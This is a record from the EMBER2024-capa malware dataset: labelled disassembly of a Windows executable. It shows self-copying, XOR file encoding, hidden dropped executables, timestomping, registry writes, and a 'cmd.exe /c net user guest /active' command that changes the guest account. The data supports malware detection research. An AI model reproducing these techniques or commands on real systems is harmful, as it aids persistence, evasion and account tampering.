joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408690
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x54
mov eax, dword [0x41f608]
mov dword [esp + 0x50], eax
push ebx
mov ebx, dword [esp + 0x5c]
lea eax, [esp + 8]
push eax
push ebx
mov dword [esp + 0xc], ecx
call fcn.00402750
add esp, 8
test al, al
jne 0x4086c7
pop ebx
mov ecx, dword [esp + 0x50]
call fcn.0040e486
add esp, 0x54
ret 8
push ebp
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x4086fb
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x50]
call fcn.0040e486
add esp, 0x54
ret 8
push esi
push edi
mov edi, dword [esp + 0x18]
push 0
push ebp
add edi, 0xd
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esi, edi
call ebp
xor ecx, ecx
mov dword [esp + 0x4d], ecx
mov dword [esp + 0x51], ecx
lea edx, [esp + 0x4c]
push edx
mov dword [esp + 0x59], ecx
push esi
mov dword [esp + 0x61], ecx
mov ecx, dword [esp + 0x18]
push ebx
mov byte [esp + 0x58], 0
call fcn.00408580
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x408794
push 2
push 0
neg edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x6c]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x4087a9
push esi
call ebp
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x50]
call fcn.0040e486
add esp, 0x54
ret 8
mov ebp, dword [esp + 0x14]
xor edx, edx
xor ecx, ecx
mov dword [esp + 0x39], edx
mov dword [esp + 0x25], ecx
mov dword [esp + 0x3d], edx
mov dword [esp + 0x41], edx
push edx
mov dword [esp + 0x2d], ecx
mov dword [esp + 0x31], ecx
lea eax, [esp + 0x6c]
push eax
mov dword [esp + 0x39], ecx
mov byte [esp + 0x40], cl
push 0x10
lea ecx, [esp + 0x30]
push ecx
push esi
mov byte [esp + 0x38], 0
mov dword [esp + 0x59], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x10
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x20]
call fcn.0040a540
cmp ebp, 0x10
jbe 0x40885e
lea ebx, [ebp - 0x11]
shr ebx, 4
inc ebx
push 0
lea edx, [esp + 0x70]
push edx
push 0x10
lea eax, [esp + 0x44]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [esp + 0x6c]
push ecx
push 0x10
lea edx, [esp + 0x30]
push edx
push esi
sub ebp, 0x10
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x10
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x30]
push edx
call fcn.0040a540
dec ebx
jne 0x408814
push 0
lea eax, [esp + 0x70]
push eax
push ebp
lea ecx, [esp + 0x44]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
mov ecx, dword [esp + 0x60]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
call fcn.0040e486
add esp, 0x54
ret 8
Function at 0x408990
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4089c1
xor al, al
jmp loc.004df590
push ebp
push edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov edi, eax
push edi
push 0
push 2
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebp, eax
test ebp, ebp
jne 0x4089f4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
xor al, al
pop ebx
pop ecx
ret 8
push esi
push edi
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
mov esi, eax
push edi
push esi
call fcn.00408920
push esi
mov byte [esp + 0x1c], al
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push ebx
call esi
mov al, byte [esp + 0x18]
pop esi
pop edi
pop ebp
pop ebx
pop ecx
ret 8

Function at 0x408b60
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x120
mov eax, dword [0x41f608]
push esi
push edi
mov dword [esp + 0x124], eax
xor eax, eax
mov word [esp + 0x18], 0x20
mov ecx, 0x40
lea edi, [esp + 0x1a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea eax, [esp + 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.00402750
add esp, 8
test al, al
je 0x408c21
mov eax, dword [esp + 0x11]
push eax
call fcn.00402720
add esp, 4
test al, al
jne 0x408bcd
xor edi, edi
jmp 0x408bec
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x408be7
mov eax, dword [esp + 8]
test eax, eax
je 0x408be7
cmp ecx, eax
sbb eax, eax
not eax
and eax, ecx
jmp 0x408be9
xor eax, eax
lea edi, [eax + 0x1d]
mov esi, dword [ebp + 8]
push 0
push esi
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x408c21
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x408c37
xor al, al
jmp 0x4e5990
push 2
push 0
neg edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x124]
mov al, 1
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x408fd0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x417668
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov eax, dword [0x41f608]
push ebx
push esi
push edi
mov edi, dword [esp + 0x4c]
push edi
mov dword [esp + 0x3c], eax
mov esi, ecx
call fcn.00408b60
push edi
lea ecx, [esp + 0x10]
call fcn.00401860
xor ebx, ebx
lea ecx, [esp + 0xc]
mov dword [esp + 0x44], ebx
call fcn.004018e0
test al, al
je 0x409056
xor eax, eax
mov dword [esp + 0x25], eax
mov dword [esp + 0x29], eax
lea ecx, [esp + 0x24]
mov dword [esp + 0x2d], eax
push ecx
mov ecx, esi
mov byte [esp + 0x28], bl
mov dword [esp + 0x35], eax
call fcn.00407d10
test al, al
je 0x409056
jmp loc.004e5288
lea ecx, [esp + 0xc]
mov dword [esp + 0x44], 0xffffffff
call fcn.004018b0
xor al, al
jmp 0x4090d0
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x30]
pop ebx
call fcn.0040e486
add esp, 0x3c
ret 4
Function at 0x4091a0
Capabilities:
Delete directory
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x334
mov eax, dword [0x41f608]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [esp + 0x338], eax
push edi
lea eax, [esp + 0x10]
push eax
push ebx
mov esi, ecx
call fcn.00402750
add esp, 8
test al, al
je 0x409269
xor eax, eax
mov byte [esp + 0x20], 0
mov ecx, 0x40
lea edi, [esp + 0x21]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x128], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x129]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x20]
push ecx
mov ecx, esi
stosb byte es:[edi], al
call fcn.00408180
lea edx, [esp + 0x128]
push edx
mov ecx, esi
call fcn.00408380
cmp byte [esp + 0x18], 0x65
jne 0x409235
lea eax, [esp + 0x20]
push eax
push ebx
mov ecx, esi
call fcn.00408690
mov ecx, dword [esp + 0x18]
push ecx
lea edx, [esp + 0x12c]
push edx
lea eax, [esp + 0x28]
push eax
mov ecx, esi
call fcn.004090f0
test al, al
jne 0x409280
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x20]
push ecx
call esi
lea edx, [esp + 0x128]
push edx
call esi
xor al, al
mov ecx, dword [esp + 0x33c]
call fcn.0040e486
pop edi
pop esi
jmp 0x4e22e0
xor eax, eax
mov byte [esp + 0x230], 0
mov ecx, 0x40
lea edi, [esp + 0x231]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x230]
push eax
mov ecx, esi
call fcn.004080e0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0x234]
push ecx
call esi
push str.HELP
lea edx, [esp + 0x234]
push edx
call esi
push ebx
lea eax, [esp + 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x20]
push ecx
jne 0x40931d
call esi
lea edx, [esp + 0x128]
push edx
call esi
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor al, al
mov ecx, dword [esp + 0x33c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call esi
lea edx, [esp + 0x128]
push edx
call esi
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [esp + 0x33c]
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x409740
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x110
mov eax, dword [0x41f608]
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0
push esi
mov dword [esp + 0x11c], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0xc]
push ecx
call esi
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0xc]
push eax
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x4097ec
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [esp + 0x114]
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x114]
xor al, al
call fcn.0040e486
jmp loc.004e2b78

Function at 0x409810
Capabilities:
Timestomp file

Disassembly:
sub esp, 0x28
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
dec word [esp + 8]
cmp word [esp + 0xa], 5
jae 0x409833
add word [esp + 0xa], 2
jmp 0x409838
jmp 0x4e1020
cmp word [esp + 0xe], 0xa
jae 0x409848
add word [esp + 0xe], 3
jmp 0x40984f
add word [esp + 0xe], 0xfffe
lea ecx, [esp]
push ecx
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x40988d
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea edx, [esp]
push edx
mov eax, edx
push eax
mov ecx, edx
mov edx, dword [esp + 0x34]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
add esp, 0x28
ret 4
mov eax, dword [esp + 0x2c]
add esp, 0x28
ret 4

Function at 0x409a10
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x41f608]
push ebp
push esi
mov dword [esp + 8], eax
mov eax, dword [esp + 0x10]
mov ebp, ecx
jmp loc.004e63b8
Function at 0x409b20
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x110
mov eax, dword [0x41f608]
push esi
push edi
mov dword [esp + 0x114], eax
mov esi, ecx
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
lea ecx, [ebp + 0x20]
push ecx
mov ecx, esi
call fcn.00409950
test al, al
je 0x409b88
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 8]
push edx
push eax
lea ecx, [ebp + 8]
push ecx
mov ecx, esi
call fcn.00409a10
test eax, eax
jne 0x409b9e
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
mov ecx, dword [esp + 0x114]
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x120
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x409b88
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 0x124]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x114]
mov al, 1
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x120

Function at 0x409c00
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4176a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x214
mov eax, dword [0x41f608]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 0x220], ebx
xor eax, eax
mov byte [ebp - 0x118], 0
mov ecx, 0x40
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x118]
push eax
sub esp, 0x11c
mov edi, esp
mov ecx, 0x47
mov esi, 0x41c5f8
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov dword [ebp - 4], 0
call fcn.00409b20
test al, al
je 0x409caf
lea ecx, [ebp - 0x118]
push ecx
mov ecx, ebx
call fcn.004098a0
test al, al
jne 0x409caf
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x409caf
xor eax, eax
mov byte [ebp - 0x21c], 0
mov ecx, 0x40
lea edi, [ebp - 0x21b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x21c]
push eax
sub esp, 0x11c
mov edi, esp
mov ecx, 0x47
mov esi, 0x41c714
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
call fcn.00409b20
test al, al
je 0x409d39
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x409d2c
jmp 0x4ddd58
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a020
Capabilities:
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x41f608]
mov dword [esp + 0x110], eax
push edi
mov edx, ecx
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
mov ecx, edx
call fcn.00409f20
push 0
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 6
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 3
push 0
push 0
lea eax, [esp + 0x14]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x114]
mov al, 1
jmp loc.004dfd60
Function at 0x40a0b0
Capabilities:
Create directory
Create process on windows
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x824
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0x824], eax
push esi
push edi
mov edx, ecx
xor eax, eax
mov byte [esp + 0x170], 0
mov ecx, 0x40
lea edi, [esp + 0x171]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x170]
push eax
mov ecx, edx
call fcn.00404280
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [esp + 0x68], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x69]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0xc], 0
mov dl, byte [esp + 0x170]
mov cl, byte [esp + 0xc]
add dl, cl
mov byte [esp + 0x170], dl
push 0
lea edx, [esp + 0x174]
push edx
call ebx
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x170]
push eax
lea ecx, [esp + 0x6c]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.HTML_Help_Workshop_
lea edx, [esp + 0x6c]
push edx
call edi
push 0
lea eax, [esp + 0x6c]
push eax
call ebx
push str.msmsgs.exe
lea ecx, [esp + 0x6c]
push ecx
call edi
push str.EVIL
lea edx, [esp + 0x485]
push edx
mov byte [esp + 0x280], 0x7a
call esi
lea eax, [esp + 0x68]
push eax
lea ecx, [esp + 0x381]
push ecx
call esi
lea edx, [esp + 0x278]
push edx
lea ecx, [esp + 0x554]
call fcn.00407c30
lea ecx, [esp + 0x550]
call fcn.00409510
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x395]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x40a217
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 4
mov dword [esp + 0xc], eax
jl 0x40a120
jmp loc.004e4090
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x10], ecx
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
lea eax, [esp + 0x24]
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x3c], ecx
lea ecx, [esp + 0x39d]
push ecx
push 0
mov dword [esp + 0x48], 0x44
mov word [esp + 0x78], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xfffffffffffffffd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a280
Capabilities:
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbb4
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0xbb4], eax
push esi
push edi
mov edx, ecx
xor eax, eax
mov byte [esp + 0x500], 0
mov ecx, 0x40
lea edi, [esp + 0x501]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x500]
push eax
mov ecx, edx
call fcn.00409fb0
push 3
push 0
push 0
lea ecx, [esp + 0x50c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [0x418710]
mov edx, dword [str.C:Config.Msi_]
mov ecx, dword [0x418714]
mov dword [esp + 0x1c], eax
mov al, byte [0x41871a]
mov dword [esp + 0x20], ecx
mov byte [esp + 0x26], al
mov dword [esp + 0x18], edx
mov dx, word [0x418718]
xor eax, eax
mov word [esp + 0x24], dx
mov edx, dword [0x418700]
mov ecx, 0x3d
lea edi, [esp + 0x27]
rep stosd dword es:[edi], eax
mov ecx, dword [str.D:Config.Msi_]
stosb byte es:[edi], al
mov eax, dword [0x418704]
mov dword [esp + 0x120], ecx
mov cx, word [0x418708]
mov dword [esp + 0x124], edx
mov dl, byte [0x41870a]
mov dword [esp + 0x128], eax
mov word [esp + 0x12c], cx
xor eax, eax
mov byte [esp + 0x12e], dl
mov edx, dword [0x4187d0]
mov ecx, 0x3d
lea edi, [esp + 0x12f]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4187cc]
stosb byte es:[edi], al
mov eax, dword [str.NETUSER.EXE]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [esp + 0xc], eax
push 0
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], edx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
lea ecx, [esp + 0x1c]
push ecx
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.EVIL
lea edx, [esp + 0x435]
push edx
mov byte [esp + 0x230], 0x7a
call esi
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x331]
push ecx
call esi
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x331]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x228]
push ecx
lea ecx, [esp + 0x60c]
call fcn.00407c30
lea ecx, [esp + 0x608]
call fcn.00409510
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [esp + 0x345]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x40a462
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea eax, [esp + 0x331]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov al, 1
mov ecx, dword [esp + 0xbbc]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
lea ecx, [esp + 0x124]
push ecx
call edi
push 2
lea edx, [esp + 0x124]
push edx
call ebx
jmp loc.004da2c0
Function at 0x40a540
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0x10], 0x10
jge 0x40a54c
jmp loc.004e4f68
mov edx, dword [esp + 4]
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, edx
mov ebp, ebx
lea esi, [edx + 3]
sub edi, eax
sub ebp, eax
lea ecx, [ebx + 1]
sub edx, ebx
mov dword [esp + 0x1c], 4
mov bl, byte [edi + eax]
xor bl, byte [eax]
add eax, 4
mov byte [eax + ebp - 4], bl
mov bl, byte [edx + ecx]
xor bl, byte [eax - 3]
add ecx, 4
mov byte [ecx - 4], bl
mov bl, byte [eax - 2]
xor bl, byte [esi - 1]
add esi, 4
mov byte [ecx - 3], bl
mov bl, byte [eax - 1]
xor bl, byte [esi - 4]
mov byte [ecx - 2], bl
dec dword [esp + 0x1c]
jne 0x40a574
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret 0x10

Function at 0x40a610
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x41f608]
push ebx
push esi
push edi
mov dword [esp + 0x26c], eax
mov dword [esp + 0xc], ecx
xor eax, eax
mov word [esp + 0x58], 0x20
mov ecx, 0x40
lea edi, [esp + 0x5a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea eax, [esp + 0x5c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40a77e
mov edx, dword [ebp + 8]
mov esi, dword [edx + 4]
push 0
push ebx
add esi, 0xd
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push ebx
sub edi, esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov dword [esp + 0x45], eax
lea ecx, [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x4d], eax
push edi
lea edx, [esp + 0x60]
mov dword [esp + 0x55], eax
push edx
jmp loc.004e75b0
xor al, al
mov ecx, dword [esp + 0x26c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a890
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4176e0
mov eax, dword fs:[0]
push eax
jmp loc.004dbaf8

Function at 0x40ab00
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0xf8
mov eax, dword [0x41f608]
push edi
mov dword [esp + 0xf8], eax
push 0x20
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
xor eax, eax
lea edx, [esp + 0x58]
mov ecx, 0x11
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push edx
mov word [esp + 0x48], ax
lea eax, [esp + 0x7c]
push str._scmd.exe__c_net_user_guest__active
push eax
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x4c], 1
call fcn.0040e494
add esp, 0xc
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0xf8]
test eax, eax
setne al
pop edi
jmp loc.004e3d70
Function at 0x40abb0
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
lea eax, [esp + 0xc]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40ac08
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40ac0d
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
ret 0x18
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
ret 0x18